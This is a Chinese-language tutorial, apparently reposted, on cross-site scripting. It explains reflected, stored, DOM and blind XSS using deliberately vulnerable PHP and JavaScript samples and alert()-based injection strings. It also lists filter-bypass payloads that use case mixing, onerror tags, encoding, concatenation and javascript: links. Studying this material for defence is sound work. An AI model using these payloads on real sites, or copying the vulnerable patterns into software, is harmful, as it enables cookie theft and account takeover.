XSS注入


XSS注入

介紹:

  XSS全稱為Cross Site Scripting,為了和CSS分開簡寫為XSS,中文名為跨站腳本。該漏洞發生在用戶端,是指在渲染過程中發生了不在預期過程中的JavaScript代碼執行。XSS通常被用於獲取Cookie、以受攻擊者的身份進行操作等行為。

反射型XSS:

  反射型一般通過點擊鏈接來觸發

  舉個栗子:代碼為<?php echo "<p>hello, $_GET['a']</p>";?>

  注入方式為:/?a=</p><script>alert("xss")</script><p>

  通過前面的</p>來閉合代碼中的<p>,在html中插入JavaScript代碼<script>alert("xss")</script>來達到彈出xss的窗口,后面的<p>來閉合后面的</p>

 

XSS分類:

儲存型XSS:

  多儲存在評論區,留言處。儲存型XSS相對反射性XSS危害更大,攻擊者可以把攻擊載荷儲存在數據庫,造成持續攻擊。

 

DOM XSS:

  DOM型XSS不同之處在於DOM型XSS一般和服務器的解析響應沒有直接關系,而是在JavaScript腳本動態執行的過程中產生的。

  代碼:

<html>
<head>
<title>DOM Based XSS Demo</title>
<script>
function xsstest()
{
var str = document.getElementById("input").value;
document.getElementById("output").innerHTML = "<img src='"+str+"'></img>";
}
</script>
</head>
<body>
<div id="output"></div>
<input type="text" id="input" size=50 value="" />
<input type="button" value="submit" onclick="xsstest()" />
</body>
</html>

注入方式:x' onerror='javascript:alert(/xss/)

 

Blind XSS:

  Blind XSS是儲存型XSS的一種,它保存在某些存儲中,當一個“受害者”訪問這個頁面時執行,並且在文檔對象模型(DOM)中呈現payload。 它被稱為Blind的原因是因為它通常發生在通常不暴露給用戶的功能上。

 

XSS注入的危害:

  1. 用戶的Cookie被獲取,其中可能存在Session ID等敏感信息。若服務器端沒有做相應防護,攻擊者可用對應Cookie登陸服務器。
  2. 攻擊者能夠在一定限度內記錄用戶的鍵盤輸入。
  3. 攻擊者通過CSRF等方式以用戶身份執行危險操作。
  4. XSS蠕蟲。
  5. 獲取用戶瀏覽器信息。
  6. 利用XSS漏洞掃描用戶內網。

 

XSS注入的一些繞過姿勢:

  1、大小寫繞過 如:<sCrIpT>alert(1)</sCrIpT>

  2、利用其他標簽進行注入 如:<audio src=x onerror=alert(47)>

  <img src=document.domain onerror=alert(document.domain)>

  <a href=javascript:alert(document.domain)>M</a>

  3、編碼繞過 如:%3Cscript%3Ealert(%221%22)%3C/script%3E

  4、拼接 如:<script>top["al"+"ert"](1)</script>

  5、偽協議 如:<a href=javascript:/0/,alert(%22M%22)>M</a>

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM